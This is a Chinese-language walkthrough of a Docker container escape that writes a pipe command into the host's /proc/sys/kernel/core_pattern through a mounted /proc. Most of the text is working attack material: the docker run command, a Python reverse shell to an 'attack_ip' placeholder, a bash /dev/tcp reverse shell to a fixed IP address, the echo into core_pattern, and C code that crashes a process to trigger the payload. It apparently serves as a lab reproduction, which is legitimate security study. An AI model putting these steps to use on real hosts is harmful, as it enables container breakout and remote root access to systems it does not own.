一、产生原因
将宿主机/proc目录挂载进了容器,而该目录内的/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的部分会以命令行的方式进行解析并运行,攻击者可以将恶意文件写入该文件,同时运行进程崩溃代码,执行恶意文件
二、利用条件
1、容器内挂载了宿主机的/proc目录
2、容器以root权限运行
三、复现过程
1、启动容器,挂载/proc目录
docker run -itd -v /proc:/etc_proc --name=docker_escape ubuntu:18.04 /bin/bash
2、寻找容器在宿主机上的目录路径
cat /proc/mounts | grep docker
这就是容器在宿主机上的目录路径
我们在容器内创建的文件最终都会保存在宿主机中
3、写反弹shell脚本到/tmp目录下
这里可以写Python,也可以写shell脚本
Python:
root@8ba918290061:/# cat >/tmp/.x.py << EOF
> #!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> s.connect((lhost, lport))
> os.dup2(s.fileno(), 0)
> os.dup2(s.fileno(), 1)
> os.dup2(s.fileno(), 2)
> os.putenv("HISTFILE", '/dev/null')
> pty.spawn("/bin/bash")
> os.remove('/tmp/.x.py')
> s.close()
> if __name__ == "__main__":
> main()
> EOF
需要容器内有Python环境
shell:
#!/bin/bash
bash -i >& /dev/tcp/192.168.239.138/2333 0>&1
最后别忘了加执行权限
chmod +x /tmp/exp.sh
4、在文件中/proc/sys/kernel/core_pattern 写入恶意文件
root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/629ba8f61b2311847d094297a0020d1f899d3072d9e82a12496ff2a919928963/diff/tmp/exp.sh \rcore " > /etc_proc/sys/kernel/core_pattern
写入后,当进程崩溃后,该文件内管道符| 后的文件会被执行,从而执行了我们的exp.sh文件,反弹shell
5、执行c代码,使进程崩溃
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
最后加执行权限,编译后执行
chmod +x payload.c
gcc payload.c -o payload
./payload
成功反弹shell